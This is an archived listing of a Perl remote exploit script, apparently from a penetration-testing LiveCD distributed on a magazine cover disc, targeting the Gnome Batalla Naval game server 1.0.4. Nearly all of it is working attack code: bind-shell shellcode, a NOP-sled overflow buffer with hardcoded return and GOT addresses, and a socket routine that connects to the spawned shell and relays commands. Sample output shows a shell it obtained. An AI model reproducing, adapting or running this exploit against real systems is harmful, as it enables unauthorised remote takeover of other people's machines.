home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / batnav_exploit.pl < prev    next >
Perl Script  |  2005-02-12  |  3KB  |  93 lines

  1. #!/usr/bin/perl
  2. # Priv8security.com remote exploit for Gnome Batalla Naval Server v1.0.4
  3. #
  4. #    Game url http://batnav.sourceforge.net/
  5. #    Tested against Mandrake 9.0
  6. #
  7. #    [wsxz@localhost buffer]$ perl priv8gbn.pl 127.0.0.1
  8. #    Connected!
  9. #    [+] Using ret address: 0xbffff3a2
  10. #    [+] Using got address: 0x804f8dc
  11. #    [+] Sending stuff...
  12. #    [+] Done ;pPPp
  13. #    [?] Now lets see if we got a shell...
  14. #    [+] Enjoy your stay on this server =)
  15. #    Linux wsxz.box 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003
  16. i686 unknown unknown GNU/Linux
  17. #    uid=503(wsxz) gid=503(wsxz) groups=503(wsxz)
  18. #
  19.  
  20. use IO::Socket;
  21. if (@ARGV < 1 || @ARGV > 3) {
  22. print "-= Priv8security.com remote gbatnav-1.0.4 server on linux =-\n";
  23. print "Usage: perl $0 <host> <port=1995> <offset=100>\n";
  24. exit;
  25. }
  26. if (@ARGV >= 2) {
  27. $port = $ARGV[1];
  28. $offset = $ARGV[2];
  29. } else {
  30. $port = 1995;
  31. $offset = 0;
  32. }
  33. $shellcode = #bind shellcode port 5074 by s0t4ipv6@shellcode.com.ar
  34. "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66".
  35. "\xcd\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1".
  36. "\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04".
  37. "\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66".
  38. "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6".
  39. "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53".
  40. "\x89\xe1\xb0\x0b\xcd\x80";
  41.  
  42. $ret = 0xbffff3a2; # ret mdk 9.0
  43. $gotaddr = 0x0804f8dc; #objdump -R ./gbnserver | grep strcpy
  44. $new_ret = pack('l', ($ret + $offset));
  45. $new_got = pack('l', ($gotaddr));
  46. $buffer .= "\x90" x (500 - length($shellcode));
  47. $buffer .= $shellcode;
  48. $buffer .= $new_got;
  49. $buffer .= $new_ret x 20;
  50.  
  51.  
  52.  
  53. $f = IO::Socket::INET->new(Proto=>"tcp",
  54. PeerHost=>$ARGV[0],PeerPort=>$port)
  55. or die "Cant connect to server or port...\n";
  56.  
  57. print "Connected!\n";
  58. print "[+] Using ret address: 0x", sprintf('%lx',($ret)), "\n";
  59. print "[+] Using got address: 0x", sprintf('%lx',($gotaddr)), "\n";
  60. print "[+] Sending stuff...\n";
  61. print $f "$buffer\r\n\r\n";
  62. print "[+] Done ;pPPp\n";
  63. print "[?] Now lets see if we got a shell...\n";
  64. close($f);
  65.  
  66. $handle = IO::Socket::INET->new(Proto=>"tcp",
  67. PeerHost=>$ARGV[0],PeerPort=>5074,Type=>SOCK_STREAM,Reuse=>1)
  68. or die "[-] No luck, try next time ok ...\n";
  69.  
  70. print "[+] Enjoy your stay on this server =)\n";
  71.  
  72. $handle->autoflush(1);
  73. print $handle "uname -a;id\n";
  74.  
  75.     # split the program into two processes, identical twins
  76.     die "cant fork: $!" unless defined($kidpid = fork());
  77.  
  78.     # the if{} block runs only in the parent process
  79.     if ($kidpid) {
  80.         # copy the socket to standard output
  81.         while (defined ($line = <$handle>)) {
  82.             print STDOUT $line;
  83.         }
  84.         kill("TERM", $kidpid);  # send SIGTERM to child
  85.     }
  86.     # the else{} block runs only in the child process
  87.     else {
  88.         # copy standard input to the socket
  89.         while (defined ($line = <STDIN>)) {
  90.             print $handle $line;
  91.         }
  92.     }
  93.